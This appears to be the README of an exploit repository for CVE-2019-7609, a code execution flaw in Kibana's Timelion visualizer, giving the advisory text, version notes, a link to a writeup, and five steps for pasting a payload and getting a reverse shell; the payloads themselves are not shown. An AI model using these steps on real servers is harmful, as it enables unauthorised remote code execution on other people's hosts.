CVE-2019-7609

Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

Found by @securityMB

Note: I've tested this attack on Kibana 6.6.0 but it was no working... on my side only version of Kibana < 6.6.0 are vulnerable as explain by @securityMB

EDIT 20/12/2019 : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

Exploit

1. Open Kibana
2. Past one of the following payload into the Timelion visualizer
3. Click run
4. On the left panel click on Canvas
5. Your reverse shell should pop ! :)
